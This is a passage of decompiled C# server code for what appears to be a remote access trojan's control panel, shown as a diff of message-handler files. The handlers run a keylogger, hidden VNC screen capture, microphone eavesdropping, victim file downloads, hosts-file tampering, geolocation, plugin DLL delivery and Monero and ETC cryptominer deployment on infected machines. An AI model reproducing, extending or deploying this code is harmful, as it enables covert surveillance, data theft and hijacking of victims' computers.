if (client.Tag == null)
{
client.Disconnect();
break;
}
FormExplorer form3 = (FormExplorer)client.Tag;
form3.Invoke((MethodInvoker)delegate
{
form3.materialLabel1.Text = "Deleted file or directory";
foreach (DataGridViewRow item in (IEnumerable)form3.dataGridView2.Rows)
{
if ((string)item.Cells[1].Value == (string)objects[2])
{
form3.dataGridView2.Rows.Remove(item);
break;
}
}
});
break;
}
case 'R':
{
if (!(text == "Renamed"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormExplorer form = (FormExplorer)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Renamed file or directory";
foreach (DataGridViewRow item2 in (IEnumerable)form.dataGridView2.Rows)
{
if ((string)item2.Cells[1].Value == (string)objects[2])
{
item2.Cells[1].Value = (string)objects[3];
item2.Cells[2].Value = (string)objects[4];
item2.Cells[3].Value = (string)objects[5];
if (objects.Length > 5)
{
using (MemoryStream stream = new MemoryStream((byte[])objects[6]))
{
item2.Cells[0].Value = Image.FromStream(stream);
}
item2.Cells[4].Value = Methods.BytesToString((long)objects[7]);
}
break;
}
}
});
break;
}
}
break;
case 5:
switch (text[0])
{
case 'F':
{
if (!(text == "Files"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormExplorer form5 = (FormExplorer)client.Tag;
form5.Invoke((MethodInvoker)delegate
{
form5.rjTextBox1.Texts = (string)objects[2];
form5.materialLabel1.Text = "Succues Get Folder's and File's";
form5.dataGridView2.Rows.Clear();
DataGridViewRow dataGridViewRow5 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewImageCell
{
Value = form5.imageList1.Images["folder.png"],
Tag = (byte)2,
ImageLayout = DataGridViewImageCellLayout.Zoom
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = "..."
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = ""
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = ""
}
}
};
form5.dataGridView2.Rows.Add(dataGridViewRow5);
object[] array2 = LEB128.Read((byte[])objects[3]);
int num = 0;
while (num < array2.Length)
{
string value3 = (string)array2[num++];
string value4 = (string)array2[num++];
string value5 = (string)array2[num++];
DataGridViewRow dataGridViewRow6 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewImageCell
{
Value = form5.imageList1.Images["folder.png"],
Tag = (byte)1,
ImageLayout = DataGridViewImageCellLayout.Zoom
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = value3
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = value5
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = value4
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = ""
}
}
};
form5.dataGridView2.Rows.Add(dataGridViewRow6);
}
object[] array3 = LEB128.Read((byte[])objects[4]);
object[] list = LEB128.Read((byte[])objects[5]);
int num2 = 0;
while (num2 < array3.Length)
{
string value6 = (string)array3[num2++];
string hash = (string)array3[num2++];
string value7 = (string)array3[num2++];
string value8 = (string)array3[num2++];
long byteCount = (long)array3[num2++];
DataGridViewRow dataGridViewRow7 = new DataGridViewRow();
using (MemoryStream stream2 = new MemoryStream(Methods.getIcon(hash, list)))
{
dataGridViewRow7.Cells.Add(new DataGridViewImageCell
{
Value = Image.FromStream(stream2),
Tag = (byte)0,
ImageLayout = DataGridViewImageCellLayout.Zoom
});
}
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
{
Value = value6
});
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
{
Value = value8
});
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
{
Value = value7
});
dataGridViewRow7.Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(byteCount)
});
form5.dataGridView2.Rows.Add(dataGridViewRow7);
}
form5.dataGridView1.Enabled = true;
form5.dataGridView2.Enabled = true;
form5.dataGridView3.Enabled = true;
});
break;
}
case 'E':
{
if (!(text == "Error"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormExplorer form4 = (FormExplorer)client.Tag;
form4.Invoke((MethodInvoker)delegate
{
form4.materialLabel1.Text = "Error: " + (string)objects[2];
form4.dataGridView1.Enabled = true;
form4.dataGridView2.Enabled = true;
form4.dataGridView3.Enabled = true;
});
break;
}
}
break;
case 10:
{
if (!(text == "CreatedDir"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormExplorer form7 = (FormExplorer)client.Tag;
form7.Invoke((MethodInvoker)delegate
{
form7.materialLabel1.Text = "Created New Directory";
DataGridViewRow dataGridViewRow9 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewImageCell
{
Value = form7.imageList1.Images["folder.png"],
Tag = (byte)1,
ImageLayout = DataGridViewImageCellLayout.Zoom
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[2]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[3]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[4]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = ""
}
}
};
form7.dataGridView2.Rows.Add(dataGridViewRow9);
form7.dataGridView2.Sort(new CustomComparer());
});
break;
}
case 11:
{
if (!(text == "CreatedFile"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormExplorer form6 = (FormExplorer)client.Tag;
form6.Invoke((MethodInvoker)delegate
{
form6.materialLabel1.Text = "Created New File";
DataGridViewRow dataGridViewRow8 = new DataGridViewRow();
using (MemoryStream stream3 = new MemoryStream((byte[])objects[2]))
{
dataGridViewRow8.Cells.Add(new DataGridViewImageCell
{
Value = Image.FromStream(stream3),
Tag = (byte)0,
ImageLayout = DataGridViewImageCellLayout.Zoom
});
}
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[3]
});
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[4]
});
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)objects[5]
});
dataGridViewRow8.Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString((long)objects[6])
});
form6.dataGridView2.Rows.Add(dataGridViewRow8);
form6.dataGridView2.Sort(new CustomComparer());
});
break;
}
case 13:
{
if (!(text == "UploadConnect"))
{
break;
}
FormUpload form8 = (FormUpload)Application.OpenForms[(string)objects[2]];
if (form8 == null)
{
client.Disconnect();
break;
}
form8.Invoke((MethodInvoker)delegate
{
form8.client = client;
form8.Connected();
});
client.SendChunk(LEB128.Write(new object[3] { "Uploaded", form8.pathto, form8.bytes }));
break;
}
case 15:
{
if (!(text == "DownloadConnect"))
{
break;
}
FormExplorer form9 = (FormExplorer)Application.OpenForms["Explorer:" + (string)objects[2]];
if (form9 == null)
{
client.Disconnect();
break;
}
client.Hwid = (string)objects[2];
form9.Invoke((MethodInvoker)delegate
{
FormDownload formDownload2 = new FormDownload
{
Text = "Download: " + (string)objects[2],
Name = "Download: " + (string)objects[2] + "." + (string)objects[4],
parrent = form9.client,
client = client,
SizeFile = (long)objects[3],
NameFile = (string)objects[4]
};
client.Tag = formDownload2;
formDownload2.Show();
});
break;
}
case 12:
{
if (!(text == "DownloadFile"))
{
break;
}
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormDownload formDownload = (FormDownload)client.Tag;
formDownload.Close();
if (!Directory.Exists("Users\\" + client.Hwid + "\\Downloads"))
{
Directory.CreateDirectory("Users\\" + client.Hwid + "\\Downloads");
}
File.WriteAllBytes("Users\\" + client.Hwid + "\\Downloads\\" + formDownload.NameFile, (byte[])objects[2]);
client.Disconnect();
break;
}
case 6:
case 8:
case 9:
case 14:
break;
}
}
}
+14
View File
@@ -0,0 +1,14 @@
using System.Drawing;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerFileSearcher
{
public static void Read(Clients client, object[] objects)
{
Methods.AppendLogs(client.IP, "Save Files in: Users\\" + objects[1]?.ToString() + "\\FileSearcher", Color.MediumPurple);
DynamicFiles.Save("Users\\" + objects[1]?.ToString() + "\\FileSearcher", (object[])objects[2]);
}
}
+82
View File
@@ -0,0 +1,82 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerFun
{
public static void Read(Clients client, object[] objects)
{
if (!((string)objects[1] == "Connect"))
{
return;
}
FormFun form = (FormFun)Application.OpenForms["Fun:" + (string)objects[2]];
if (form == null)
{
client.Disconnect();
return;
}
form.Invoke((MethodInvoker)delegate
{
form.Text = "Fun [" + (string)objects[2] + "]";
form.client = client;
form.rjTextBox1.Enabled = true;
form.rjTextBox2.Enabled = true;
form.rjTextBox3.Enabled = true;
form.rjComboBox2.Enabled = true;
form.rjComboBox3.Enabled = true;
form.rjComboBox1.Enabled = true;
form.rjButton1.Enabled = true;
form.rjButton2.Enabled = true;
form.rjButton3.Enabled = true;
form.rjButton4.Enabled = true;
form.rjButton5.Enabled = true;
form.rjButton6.Enabled = true;
form.rjButton7.Enabled = true;
form.rjButton8.Enabled = true;
form.rjButton9.Enabled = true;
form.rjButton10.Enabled = true;
form.rjButton11.Enabled = true;
form.rjButton12.Enabled = true;
form.rjButton13.Enabled = true;
form.rjButton14.Enabled = true;
form.rjButton15.Enabled = true;
form.rjButton16.Enabled = true;
form.rjButton17.Enabled = true;
form.rjButton18.Enabled = true;
form.rjButton19.Enabled = true;
form.rjButton20.Enabled = true;
form.rjButton21.Enabled = true;
form.rjButton22.Enabled = true;
form.rjButton23.Enabled = true;
form.rjButton24.Enabled = true;
form.rjButton25.Enabled = true;
form.rjButton26.Enabled = true;
form.rjButton27.Enabled = true;
form.rjButton28.Enabled = true;
form.rjButton29.Enabled = true;
form.rjButton30.Enabled = true;
form.rjButton31.Enabled = true;
form.rjButton32.Enabled = true;
form.rjButton33.Enabled = true;
form.rjButton34.Enabled = true;
form.rjButton35.Enabled = true;
form.rjButton36.Enabled = true;
form.rjButton37.Enabled = true;
form.rjButton38.Enabled = true;
form.rjButton39.Enabled = true;
form.rjButton40.Enabled = true;
form.rjButton41.Enabled = true;
form.rjButton42.Enabled = true;
form.rjButton43.Enabled = true;
form.rjButton44.Enabled = true;
form.rjButton45.Enabled = true;
form.rjButton46.Enabled = true;
form.rjButton47.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
}
}
+41
View File
@@ -0,0 +1,41 @@
using System.Drawing;
using System.IO;
using Server.Connectings;
using Server.Helper;
using Server.Properties;
namespace Server.Messages;
internal class HandlerGetDLL
{
public static void Read(Clients client, object[] objects)
{
client.lastPing.Disconnect();
string text = (string)objects[1];
if (text == "leb")
{
client.Send(new object[3]
{
"SaveInvoke",
text,
Resources.Leb128
});
return;
}
string[] files = Directory.GetFiles("Plugin", "*.dll", SearchOption.TopDirectoryOnly);
foreach (string text2 in files)
{
if (text == Methods.GetChecksum(text2))
{
Methods.AppendLogs(client.IP, "Send plugin: " + text2, Color.Aqua);
client.Send(new object[3]
{
"SaveInvoke",
text,
File.ReadAllBytes(text2)
});
break;
}
}
}
}
+58
View File
@@ -0,0 +1,58 @@
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
using Server.Helper;
namespace Server.Messages;
internal class HandlerHVNC
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Screen"))
{
return;
}
FormHVNC form = (FormHVNC)client.Tag;
if (form == null)
{
client.Disconnect();
return;
}
Bitmap bitmap = Methods.ByteArrayToBitmap((byte[])objects[2]);
form.FPS++;
if (form.sw.ElapsedMilliseconds >= 1000)
{
form.Text = $"HVNC [{client.Hwid}] Fps[{form.FPS}] Data[{Methods.BytesToString(((byte[])objects[2]).Length)}] Screen[{form.screen.Width}x{form.screen.Height}]";
form.FPS = 0;
form.sw = Stopwatch.StartNew();
}
form.pictureBox1.Invoke((MethodInvoker)delegate
{
form.pictureBox1.Image = bitmap;
});
return;
}
FormHVNC form2 = (FormHVNC)Application.OpenForms["HVNC:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.client = client;
form2.screen = new Size((int)objects[3], (int)objects[4]);
form2.Text = "HVNC [" + (string)objects[2] + "]";
form2.materialSwitch1.Enabled = true;
form2.numericUpDown2.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+64
View File
@@ -0,0 +1,64 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerHostsFile
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormHostsFile form3 = (FormHostsFile)Application.OpenForms["HostsFile:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Hosts File Edit [" + (string)objects[2] + "]";
form3.client = client;
form3.richTextBox1.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormHostsFile form2 = (FormHostsFile)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
RichTextBox richTextBox = form2.richTextBox1;
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
});
break;
}
case "Get":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormHostsFile form = (FormHostsFile)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.richTextBox1.Text = (string)objects[2];
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
form.richTextBox1.ScrollToCaret();
});
break;
}
}
}
}
+64
View File
@@ -0,0 +1,64 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerKeyLogger
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormKeyLogger form3 = (FormKeyLogger)Application.OpenForms["KeyLogger:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "KeyLogger [" + (string)objects[2] + "]";
form3.client = client;
form3.richTextBox1.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormKeyLogger form2 = (FormKeyLogger)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
RichTextBox richTextBox = form2.richTextBox1;
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
});
break;
}
case "Log":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormKeyLogger form = (FormKeyLogger)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.richTextBox1.Text += (string)objects[2];
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
form.richTextBox1.ScrollToCaret();
});
break;
}
}
}
}
+74
View File
@@ -0,0 +1,74 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerKeyLoggerPanel
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormKeyLoggerPanel form3 = (FormKeyLoggerPanel)Application.OpenForms["KeyLoggerPanel:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "KeyLogger Panel [" + (string)objects[2] + "]";
form3.client = client;
form3.richTextBox1.Enabled = true;
form3.dataGridView3.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "List":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormKeyLoggerPanel form2 = (FormKeyLoggerPanel)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.dataGridView3.Rows.Clear();
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow
{
Cells = { (DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
} }
};
form2.dataGridView3.Rows.Add(dataGridViewRow);
}
});
break;
}
case "Log":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormKeyLoggerPanel form = (FormKeyLoggerPanel)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.richTextBox1.Text = (string)objects[2];
});
break;
}
}
}
}
+37
View File
@@ -0,0 +1,37 @@
using System.Windows.Forms;
using GMap.NET;
using GMap.NET.WindowsForms;
using GMap.NET.WindowsForms.Markers;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerMap
{
public static void Read(Clients client, object[] objects)
{
FormMap form = (FormMap)Application.OpenForms["Map:" + (string)objects[1]];
if (form == null)
{
client.Disconnect();
return;
}
client.Tag = form;
client.Hwid = (string)objects[1];
PointLatLng point = new PointLatLng((double)objects[2], (double)objects[3]);
GMapMarker gMapMarker = new GMarkerGoogle(point, GMarkerGoogleType.green_small);
gMapMarker.Position = point;
GMapOverlay markers = new GMapOverlay("MyHome");
markers.Markers.Add(gMapMarker);
form.Invoke((MethodInvoker)delegate
{
form.Text = "Map [" + (string)objects[1] + "] [lat: " + (double)objects[2] + " lng: " + (double)objects[3] + "]";
form.client = client;
form.gMapControl1.Enabled = true;
form.gMapControl1.Overlays.Add(markers);
form.gMapControl1.Position = point;
form.gMapControl1.ShowCenter = false;
});
}
}
+74
View File
@@ -0,0 +1,74 @@
using System;
using System.Windows.Forms;
using NAudio.Wave;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerMicrophone
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (text == "Recovery")
{
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((FormMicrophone)client.Tag).Buffer((byte[])objects[2]);
}
}
return;
}
FormMicrophone form = (FormMicrophone)Application.OpenForms["Microphone:" + (string)objects[2]];
if (form == null)
{
client.Disconnect();
return;
}
if (objects.Length > 3)
{
Console.WriteLine((string)objects[3]);
form.client1 = client;
form.Invoke((MethodInvoker)delegate
{
string[] array = ((string)objects[3]).Split(',');
foreach (string item in array)
{
form.rjComboBox1.Items.Add(item);
}
form.rjComboBox1.SelectedIndex = 0;
form.Text = "Microphone [" + (string)objects[2] + "]";
form.groupBox1.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
return;
}
form.client2 = client;
form.Invoke((MethodInvoker)delegate
{
try
{
for (int j = 0; j < WaveIn.DeviceCount; j++)
{
form.rjComboBox2.Items.Add(WaveIn.GetCapabilities(j).ProductName);
}
form.rjComboBox2.SelectedIndex = 0;
}
catch
{
}
form.Text = "Microphone [" + (string)objects[2] + "]";
form.groupBox2.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
}
}
+73
View File
@@ -0,0 +1,73 @@
using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerMinerEtc
{
public static void Read(Clients clients, object[] array)
{
switch ((string)array[1])
{
case "Connect":
if (Program.form.MinerEtc.work)
{
clients.Hwid = (string)array[2];
DataGridViewRow Item = new DataGridViewRow();
Item.Tag = clients;
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.IP
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.Hwid
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = "dont mining"
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[3]
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[4]
});
clients.Tag = Item;
Program.form.MinerEtc.Invoke((MethodInvoker)delegate
{
Program.form.MinerEtc.GridClients.Rows.Add(Item);
if (Program.form.MinerEtc.materialSwitch7.Checked)
{
clients.Send(Program.form.MinerEtc.Args());
}
});
}
else
{
clients.Disconnect();
}
break;
case "Status":
if (clients.Tag == null)
{
clients.Disconnect();
break;
}
Program.form.MinerEtc.GridClients.Invoke((MethodInvoker)delegate
{
((DataGridViewRow)clients.Tag).Cells[2].Value = (string)array[2];
});
break;
case "GetLink":
clients.Send(new object[2]
{
"Link",
Program.form.settings.linkMiner
});
break;
}
}
}
+81
View File
@@ -0,0 +1,81 @@
using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerMinerXmr
{
public static void Read(Clients clients, object[] array)
{
switch ((string)array[1])
{
case "Connect":
if (Program.form.MinerXMR.work)
{
clients.Hwid = (string)array[2];
DataGridViewRow Item = new DataGridViewRow();
Item.Tag = clients;
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.IP
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.Hwid
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = "dont mining"
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[3]
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[4]
});
clients.Tag = Item;
Program.form.MinerXMR.Invoke((MethodInvoker)delegate
{
Program.form.MinerXMR.GridClients.Rows.Add(Item);
if (Program.form.MinerXMR.materialSwitch7.Checked)
{
clients.Send(Program.form.MinerXMR.Args());
}
});
}
else
{
clients.Disconnect();
}
break;
case "Status":
if (clients.Tag == null)
{
clients.Disconnect();
break;
}
Program.form.MinerXMR.GridClients.Invoke((MethodInvoker)delegate
{
((DataGridViewRow)clients.Tag).Cells[2].Value = (string)array[2];
});
break;
case "GetLink":
// Authorization check: Only allow if client is properly identified (e.g., HWID is set)
if (string.IsNullOrEmpty(clients.Hwid))
{
clients.Disconnect(); // Disconnect unauthorized client
return;
}
clients.Send(new object[2]
{
"Link",
Program.form.settings.linkMiner
});
break;
}
}
}
+156
View File
@@ -0,0 +1,156 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerNetstat
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormNetstat form3 = (FormNetstat)Application.OpenForms["Netstat:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Netstat [" + (string)objects[2] + "]";
form3.client = client;
form3.materialLabel1.Enabled = true;
form3.dataGridView2.Enabled = true;
form3.materialLabel1.Text = "Succues Connect";
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "Error":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormNetstat form2 = (FormNetstat)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.materialLabel1.Text = "Error: " + (string)objects[2];
});
break;
}
case "ListTcp":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormNetstat form4 = (FormNetstat)client.Tag;
form4.Invoke((MethodInvoker)delegate
{
form4.dataGridView2.Rows.Clear();
form4.materialLabel1.Text = "Succues list Tcp";
int num2 = 2;
while (num2 < objects.Length)
{
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num2++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (int)objects[num2++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = "TCP"
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num2++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num2++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num2++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num2++]
}
}
};
form4.dataGridView2.Rows.Add(dataGridViewRow2);
}
});
break;
}
case "ListUdp":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormNetstat form = (FormNetstat)client.Tag;
form.Invoke((MethodInvoker)delegate
{
form.materialLabel1.Text = "Succues list Udp";
int num = 2;
while (num < objects.Length)
{
DataGridViewRow dataGridViewRow = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (int)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = "UDP"
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = ""
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = ""
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[num++]
}
}
};
form.dataGridView2.Rows.Add(dataGridViewRow);
}
});
break;
}
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerNotepad
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Error"))
{
return;
}
if (client.Tag == null)
{
client.Disconnect();
return;
}
FormNotepad form = (FormNotepad)client.Tag;
form.Invoke((MethodInvoker)delegate
{
RichTextBox richTextBox = form.richTextBox1;
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
});
return;
}
FormNotepad form2 = (FormNotepad)Application.OpenForms["Notepad:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Notepad [" + (string)objects[2] + "]";
form2.client = client;
form2.richTextBox1.Enabled = true;
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+61
View File
@@ -0,0 +1,61 @@
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerPerformance
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (!(text == "Connect"))
{
if (!(text == "Response"))
{
return;
}
FormPerformance form = (FormPerformance)client.Tag;
if (form == null)
{
client.Disconnect();
return;
}
form.Invoke((MethodInvoker)delegate
{
form.label3.Text = "System Time: " + (int)objects[2] / 60 + " Minutes";
form.circularProgressBar2.Text = (int)objects[3] + " %";
form.circularProgressBar2.Value = (int)objects[3];
form.circularProgressBar1.Text = (int)objects[4] + " %";
form.circularProgressBar1.Value = (int)objects[4];
});
return;
}
FormPerformance form2 = (FormPerformance)Application.OpenForms["Performance:" + (string)objects[2]];
if (form2 == null)
{
client.Disconnect();
return;
}
form2.Invoke((MethodInvoker)delegate
{
form2.Text = "Performance [" + (string)objects[2] + "]";
form2.client = client;
form2.label1.Text += (string)objects[3];
Label label = form2.label4;
label.Text = label.Text + (string)objects[4] + " Mhz";
form2.label6.Text += (string)objects[5];
form2.label7.Text += (string)objects[6];
form2.label2.Text += (string)objects[7];
Label label2 = form2.label5;
label2.Text = label2.Text + (string)objects[8] + " Mhz";
form2.label3.Text = "System Time: " + (int)objects[9] / 60 + " Minutes";
form2.circularProgressBar2.Text = (int)objects[10] + " %";
form2.circularProgressBar2.Value = (int)objects[10];
form2.circularProgressBar1.Text = (int)objects[11] + " %";
form2.circularProgressBar1.Value = (int)objects[11];
});
client.Tag = form2;
client.Hwid = (string)objects[2];
}
}
+17
View File
@@ -0,0 +1,17 @@
using Server.Connectings;
namespace Server.Messages;
internal class HandlerPing
{
public static void Read(Clients client, object[] objects)
{
if (client.Tag == null)
{
client.Disconnect();
return;
}
client.lastPing.Last();
client.Send(new object[1] { "Pong" });
}
}
+28
View File
@@ -0,0 +1,28 @@
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerPong
{
public static void Read(Clients client, object[] objects)
{
if (client.Tag == null)
{
client.Disconnect();
return;
}
client.lastPing.Last();
DataGridViewRow dataGridViewRow = (DataGridViewRow)client.Tag;
dataGridViewRow.Cells[15].Value = (int)objects[1];
if (objects.Length <= 2)
{
return;
}
dataGridViewRow.Cells[16].Value = (string)objects[2];
using MemoryStream stream = new MemoryStream((byte[])objects[3]);
dataGridViewRow.Cells[0].Value = new Bitmap(stream);
}
}
+106
View File
@@ -0,0 +1,106 @@
using System.Collections;
using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
namespace Server.Messages;
internal class HandlerProcess
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormProcess form3 = (FormProcess)Application.OpenForms["Process:" + (string)objects[2]];
if (form3 == null)
{
client.Disconnect();
break;
}
form3.Invoke((MethodInvoker)delegate
{
form3.Text = "Process [" + (string)objects[2] + "] Process [0]";
form3.materialLabel1.Text = "Succues Connect";
form3.client = client;
form3.dataGridView2.Enabled = true;
});
client.Tag = form3;
client.Hwid = (string)objects[2];
break;
}
case "DeadProcess":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormProcess form2 = (FormProcess)client.Tag;
form2.Invoke((MethodInvoker)delegate
{
form2.materialLabel1.Text = "Dead Process pid: " + (int)objects[2];
foreach (DataGridViewRow item in (IEnumerable)form2.dataGridView2.Rows)
{
if ((int)item.Cells[1].Value == (int)objects[2])
{
form2.dataGridView2.Rows.Remove(item);
break;
}
}
form2.Text = $"Process [{client.Hwid}] Process [{form2.dataGridView2.Rows.Count}]";
});
break;
}
case "NewProcess":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
FormProcess form4 = (FormProcess)client.Tag;
form4.Invoke((MethodInvoker)delegate
{
form4.materialLabel1.Text = "New Process pid: " + (int)objects[4];
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
{
Cells =
{
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[2]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (int)objects[4]
},
(DataGridViewCell)new DataGridViewTextBoxCell
{
Value = (string)objects[3]
}
}
};
